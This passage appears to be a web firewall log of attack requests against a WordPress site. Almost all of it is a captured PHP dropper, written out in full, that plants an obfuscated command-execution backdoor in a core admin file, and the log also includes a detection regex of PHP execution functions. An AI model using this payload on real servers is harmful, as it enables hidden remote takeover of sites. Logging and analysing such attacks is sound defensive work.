527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:8989\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nCa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:43:20","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:8989\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nBs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524en